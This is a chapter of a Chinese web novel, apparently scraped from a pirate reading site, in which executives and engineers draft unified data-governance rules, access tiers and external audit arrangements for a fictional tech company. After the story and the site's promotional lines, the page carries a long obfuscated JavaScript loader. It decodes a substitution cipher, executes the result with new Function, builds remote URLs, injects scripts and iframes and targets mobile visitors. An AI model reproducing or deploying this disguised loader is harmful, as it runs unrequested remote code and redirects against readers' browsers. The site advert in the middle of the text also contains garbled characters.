第435章 数据治理细则与审计落地
周明在中央研究院六号会议室的白色长桌上铺开了三份文件。第一份是天枢OS数据治理框架的现状描述——一份由郑工团队花了三周时间从全部接入天枢OS的系统中梳理出来的数据流拓扑图,图上密密麻麻标注着从产线传感器到临床标注终端到生态应用日志的每一个数据节点,总计超过六千个。第二份是联合检测验证工作组第二次技术磋商后发来的正式质询清单,其中第三条明确要求未来科技说明其内部数据治理规则的统一性和可审计性。第三份是李明哲从日内瓦发来的一份备忘录,标题只有五个字:「审计是护城河。」
「补天V1的发布证明了我们的设计工具链可以被外部验证,追光产线合规验收证明了制造端的透明化,天罡生态兼容标准第二版证明了生态规则制定的开放性。」周明把三份文件并排摆好,抬起头看向会议室里的每一个人,「但所有这些『可验证性』都建立在一个共同的底座上——数据。如果我们的数据治理规则本身不统一丶不透明丶经不起审计,那么底座一旦被证明有裂缝,上面盖的所有楼层都会晃动。」
坐在会议桌对面的郑工面前摆着一台笔记本电脑,屏幕上显示着天枢OS数据采集模块的架构图。他把架构图投到会议室的大屏幕上,用雷射笔圈出了六个不同颜色的数据域。红色的是制造域——追光产线的全部设备传感器数据丶工艺参数和良率记录。蓝色的是设计域——补天工具链的代码提交日志丶仿真结果和版图叠代记录。绿色的是医疗域——神农AI的心电波形原始数据丶标注记录和模型训练日志。黄色的是生态域——天罡OS的设备激活日志丶应用崩溃记录和街边店技师反馈数据。橙色的是金融域——产业扶持基金的评审记录丶资金流向和项目进展报告。紫色的是法务域——合规审计日志丶合同条款变更记录和跨境数据流动审批单。
「六个域,六种数据格式,六套采集协议,六个存储集群。」郑工的雷射笔在每个色块上停了一秒,「但如果你去问这六个域的数据治理规则分别是什么,答案是不一样的。制造域的数据保留周期是三十六个月,医疗域是二十四个月,生态域是十八个月。制造域的访问审批需要三级签字,医疗域需要二级,生态域只要一级。制造域的数据脱敏标准用的是国标,医疗域用的是欧陆医疗器械标准,生态域用的是天罡OS开发者协议里附带的数据处理条款——那个条款还是两年前法务团队一位实习生写的初稿。」
郑工说完后,会议室里沉默了几秒。秦教授最先打破了沉默。他面前放着一份神农AI临床验证流程的文档,是安德松教授访问合城后留下的那份推荐信的附件。「医疗域的数据治理规则之所以和制造域不一样,不是因为没人想统一,而是因为医疗数据的合规要求本身就和工业数据不在一个框架里。欧洲医疗器械标准对临床数据的存储期限要求是至少五年,而不是二十四个月。如果我们强行把医疗域的数据保留周期拉到和制造域一样,等于在欧陆合规审查中自断手脚。」
本书首发台湾小说网超顺畅,??????????.??????任你读,提供给你无错章节,无乱序章节的阅读体验
「问题不在于六个域的规则不一样。」周明站起来走到屏幕前,用手指在六个色块之间画了一条虚线,「问题在于,这六套规则从来没有被整合成一套统一的元规则。什么是元规则?就是不论数据来自哪个域,所有数据都必须遵守的共同底线——比如,任何数据的采集都必须有明确的目的说明,任何数据的访问都必须留下不可篡改的审计日志,任何数据的跨境传输都必须经过独立合规官的批准,任何数据治理规则的修改都必须经过一个跨部门的治理委员会投票表决,投票记录对外公开。」
他在屏幕右侧空白处写下三行字,每一行字都像是一条法律条文那样简短有力。第一行:采集有目的,存储有期限,访问有记录。第二行:治理规则本身被治理——规则的制定丶修改和废止过程全程留痕,接受外部审计。第三行:数据主权归数据产生方所有,任何数据共享行为必须在可独立验证的授权框架内进行。
方程从新加坡通过视频接入,他在屏幕上的小窗口里听完周明的三条元规则后,把天罡生态兼容标准第二版起草时用过的「十四条起草原则」调出来放在旁边做参照。「兼容标准第二版的核心经验是——规则一旦不再由单一主体单方面定义,规则的权威性就会从制定者身上转移到规则本身。数据治理细则的制定可以沿用同样的联合技术委员会机制,在委员会里引入独立的外部委员参与投票。」
周明把这个建议记在了会议纪要里,同时加了一个更激进的条款——数据治理委员会中,外部委员的比例不低于三分之一,外部委员从星环科研奖励机制学术委员会丶联合检测验证工作组认可的独立审计机构和补天计划高校团队中遴选。这个比例设定意味着未来科技在任何涉及数据治理规则的修改中都不拥有绝对多数票。
林薇从中央研究院封闭开发区拨进视频时,正在天权6号的功耗仿真数据前做最后的收敛验证。她听完周明的提议后没有讨论外部委员的比例,而是直接切入了数据治理细则中最核心的一个技术难题——数据脱敏标准的跨域统一。「制造域的晶圆缺陷分布数据丶设计域的版图层数数据丶生态域的用户行为日志,三者的脱敏要求完全不一样。如果把制造域的数据脱敏标准强行套到生态域上,生态数据里的异常功耗触发条件——就是阿贡发现的那种——就会被脱敏算法当作『异常值』自动抹掉,而这些异常值恰恰是我们做质量改进最有价值的信号。」
郑工敲了几下键盘,屏幕上弹出一张表格。表格里列着六个数据域中每一种数据类型在脱敏处理中的最小颗粒度要求。制造域的晶圆缺陷坐标精度可以脱敏到五十微米而不影响工艺分析,设计域的版图数据需要脱敏到标准单元级别才能保护设计机密,生态域的用户设备型号必须保留完整而不能被泛化——因为阿贡发现的基带晶片功耗异常只有在特定设备型号和特定运营商频段组合下才会触发,一旦泛化就丢失了定位故障的全部线索。
「脱敏标准不能一刀切。」郑工说,「但脱敏标准的制定过程可以一刀切——不论哪个域,脱敏规则的制定丶审批丶修改和生效日期都必须走同一套治理流程,每一条脱敏规则的背后都必须附着明确的业务理由和风险评估,且全部留痕。」
周明在会议纪要上写下数据治理细则的第一条核心条款草案:「数据脱敏标准由各数据域负责人根据业务需求提出,经数据治理委员会审议批准后生效。每一条脱敏标准均需附带业务必要性说明和风险评估报告,审议过程保留完整记录,记录对外公开。」
讨论进入数据访问权限分级时,秦教授提出了一个让在场所有人都不得不正视的问题。神农AI的临床数据目前采用的是二级审批——数据使用者提交申请,经秦教授和医院伦理委员会两位委员共同批准后即可获取脱敏后的数据。但安德松教授在访问时无意中发现,神农AI的模型训练日志——不是原始临床数据,而是模型在训练过程中的中间参数更新记录——同样被纳入了二级审批的范围。这个设计导致赵静团队在做预调度模型与神农AI的联合调优时,每一次调参都要等至少两个工作日的审批周期。
「临床原始数据的严格审批是对的。」秦教授说,「但模型训练日志的安全级别不应该和原始临床数据一样。把两者的审批门槛拉平,表面上是提高了安全标准,实际上是降低了研发效率——而且这种降低不会换来任何实质性的安全保障,因为模型训练日志里根本没有可追溯的个人信息。」
周明把这个问题放大到了全部六个数据域。追光产线的设备传感器数据丶补天工具链的代码提交日志丶天罡OS的应用崩溃记录——这些数据的敏感级别各不相同,但目前的访问审批规则大多是在各自为政的状态下临时设定的,有的过于宽松,有的过于严格,几乎没有跨域的一致性。
他提出的解决方案是在数据治理细则中建立一套三级数据访问权限体系。一级是公开数据——任何内部员工和签署了数据使用协议的合作夥伴均可直接访问,包括设备稼动率汇总统计丶天罡OS装机量公开数据丶补天工具链的公开文档和基础模块代码。二级是受限数据——需经数据域负责人审批后方可访问,包括产线工艺参数的详细记录丶晶片设计版图的非核心区域数据丶生态应用的非敏感用户行为统计。三级是受控数据——需经数据治理委员会全票批准后方可访问,包括晶片设计版图的核心电路区域数据丶神农AI的原始临床数据丶用户个人身份关联数据和产业链供应商的核心工艺参数。
这套三级体系的命名直接沿用了天罡Edge接口安全分级的框架——不是巧合,是周明刻意为之。他在会议桌上摊开了天罡Edge接口三级安全分级体系的文档,指着上面「一级公开丶二级受限丶三级受控」的分类标签说:「天罡Edge的安全分级已经在联合检测验证工作组那里作为参考基准案例。数据治理细则沿用同一套分级逻辑,可以最大限度减少外部审计的理解成本——审计方不需要重新学一套新的分类体系,只需要确认同一套逻辑是否被一致地应用到了数据治理领域。」
方程在视频那端翻出了天罡Edge安全分级体系的设计文档。文档的起草人是林薇,当时在天罡Edge全球合作试验决策会上,陈醒以「被审计比被怀疑强」定调之后,林薇用了一个周末把接口安全分级的第一版草案写了出来。「天罡Edge安全分级从草案到正式发布用了六周。数据治理细则能不能更快?」方程问。
「不能。」周明回答得很乾脆,「因为数据治理细则不是一份技术文档,而是一部制度立法。每一个条款都要经过六个数据域负责人的逐条确认,每一个定义都要在真实数据流上做回归验证,每一个审批流程都要在试运行中暴露问题丶叠代修正。最重要的是——数据治理委员会的外部委员遴选需要时间。星环学术委员会丶补天高校团队和独立审计机构各自推荐候选人,候选人背景审查,利益冲突申报,全部走完至少需要四周。」
苏黛从产业扶持基金评审会的中场休息中拨进视频,听到周明的时间表后问了一个财务维度的问题:「数据治理细则的落地需要多少预算?」
周明给了一个在座所有人都没有预料到的答案:「直接成本不高——天枢OS的数据治理模块已经写好了大半,郑工团队只需要把元规则嵌入现有的数据流中间件。外部审计机构的年度服务费大概在六百万左右。真正的成本是效率损耗——数据访问审批从一级变成三级之后,研发团队的日常工作效率会有大约百分之八到百分之十二的下降。这个下降不是浪费,而是合规的代价。」
「合规的代价。」苏黛把这四个字记在笔记本上,在后面加了一行字:「与不合规的代价相比,合规的代价是可控的。」
会议从上午九点一直开到下午四点半,中间只有一次二十分钟的午餐休息。当周明在会议室的白板上写下数据治理细则的最后一条草案条款时,整个白板已经被写满了——正面是六条元规则和十四条实施细则,背面是数据治理委员会的组织章程框架和三组外部委员的遴选标准。
定稿后的核心条款被周明整理成了一份一页纸的摘要。摘要的标题是:「天枢OS数据治理细则——草案第一版」。标题下方是六条元规则:一丶数据采集遵循目的限定原则,每一条数据采集需求必须在数据治理委员会备案其业务目的和存储期限,未备案的数据采集需求不得部署至生产环境。二丶数据分级遵循三级体系——公开丶受限丶受控——分级标准由数据域负责人提出丶数据治理委员会审批。三丶数据访问遵循最小权限原则,任何跨域数据访问需经数据治理委员会全票批准。四丶数据跨境传输需经独立合规官批准,跨境传输日志实时同步至数据治理委员会的审计看板。五丶数据治理规则本身的制定丶修改和废止过程全程留痕,治理委员会的投票记录和审议纪要对外公开。六丶每半年度由独立外部审计机构对数据治理体系进行合规审计,审计报告全文对外发布。
摘要的最下方是周明加的一行附注:「数据治理细则不是一份内部管理文件,而是未来科技在联合检测验证工作组框架下证明自身数据治理能力可被外部审计的核心制度证据。它的受众不只是未来科技内部员工,更是日内瓦丶欧陆和全球任何有意愿验证我们技术体系可信度的第三方。」
章宸在当天晚上审阅了草案全文。他在第四条「数据跨境传输」条款的旁边加了一条补充建议——跨境数据传输的审批流程中增加一个「区域数据主权代表」的角色。当数据传输涉及缅老柬或南洋其他国家用户的数据时,审批流程中必须包含至少一名来自数据来源国合作方的代表,该代表拥有否决权。「数据对等原则不仅要写在生态合作的备忘录里,也要写进数据治理的制度底座里。」章宸在批注中写道,「让数据来源方拥有否决权,不是自缚手脚,而是用制度设计把『数据对等』从一个承诺变成一条规则。」
周明收到批注后,在草案的第四条下增加了一个子条款:「涉及非本国用户数据的跨境传输,审批流程中设区域数据主权代表席位,由数据来源国的合作方委派。区域数据主权代表对该传输请求拥有否决权。否决权行使记录纳入审计日志。」
四天后,数据治理委员会的组建方案通过了陈醒的审批。委员会由十五名委员组成,其中未来科技内部委员十名——分别来自制造丶设计丶医疗丶生态丶法务丶安全丶基础设施七个部门——外部委员五名,分别来自星环科研奖励机制学术委员会丶补天计划高校团队丶欧陆独立技术顾问和南洋渠道联合体。外部委员的比例超过了三分之一,符合周明设定的底线。首批外部委员的遴选邀请函在委员会组建方案获批的当天下午发出,目标是四周内完成全部遴选和背景审查。
郑工在同一天启动了天枢OS数据治理模块的最终开发。这个模块的核心功能是将数据治理细则的六条元规则全部编码为自动化执行的中间件——数据采集需求备案的在线表单丶数据访问请求的三级审批工作流丶跨域数据访问的全票表决系统丶跨境数据传输的独立合规官审批节点丶以及全部操作的不可篡改审计日志。郑工把模块的开发代号定为「规则引擎」,在架构文档的第一页写了一行字:「这套代码的作用不是管理数据,而是管理管理数据的规则。当规则本身被编码为自动化流程时,遵守规则就不再依赖于个人的自觉性,而是被系统强制执行。」
秦教授在会议结束后的当天晚上回到了神农AI实验室。他坐在那台存着三百例假阳性原始心电波形的加密伺服器前,逐一核对每一条数据的采集目的备案状态。八十四例心房颤动合并束支传导阻滞病例的原始波形旁边,全部标注了完整的采集目的丶患者知情同意书编号和数据存储期限。但他在翻到第四十二例时发现了一个细节问题——该病例的标注医生资质编号少了一位数字,是标注系统在数据录入时的截断错误。这个错误不影响任何诊断结果,但在数据治理细则的框架下,标注医生资质信息的不完整构成数据质量缺陷。
秦教授拿起内线电话打给郑工,描述了截断错误的现象。郑工查了代码后回拨过来,说截断问题的根因是标注系统界面上的输入框字符长度限制设定比医生资质编号的实际长度少了一位,修改只需要加一个字符位,但修正后的系统需要对全部已录入的标注医生信息做一次回溯核查。
「这就是数据治理细则落地的现实意义。」秦教授挂掉电话后对实验室的值班研究员说,「不是等着外部审计来查我们,而是我们自己先把自己查一遍。查出问题不可怕,查不出问题才可怕。」
合城深夜。周明在法务团队的办公室里审完了数据治理委员会外部委员遴选名单的最后一版草案。他的窗外是合城产业园的夜景,追光四期的航标灯和追光五期的打桩机依旧亮着。而在天枢OS数据治理框架的六千余个数据节点中,每一个节点都即将被这套正在定稿中的数据治理细则所覆盖——从产线传感器的毫秒级采集,到临床标注的每一份患者知情同意书,到街边店技师群里的一条基带功耗异常分享,到日内瓦磋商桌上的一份审计日志,所有数据都将运行在同一套元规则之下。
他把草案锁进加密文件柜,在终端上打开了梁志远在下午发来的一份标注着「待处理」的新议题。议题标题是:「三家中东渠道商联合询价——追光三期退役刻蚀设备的二手外销可行性评估。」梁志远在议题下方附了一行批注:「这不是废铁外卖,这是制造能力出口的试水。需要法务端提前评估出口管制风险和技术外溢边界。」
周明在议题末尾批了一行字:「明早八点,合城六号会议室。请方程从新加坡视频接入,请李明哲从日内瓦提供出口管制风险的法律意见。」他保存文档,关掉终端。数据治理的制度底座刚刚浇筑完成,一个新的问题已经从地平线上浮了出来——未来科技的制造能力,正在被全球市场上那些被火龙联盟供应链排斥在外的需求方盯上。
一秒记住【笔趣阁】
biquge120.net,更新快,无弹窗!
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();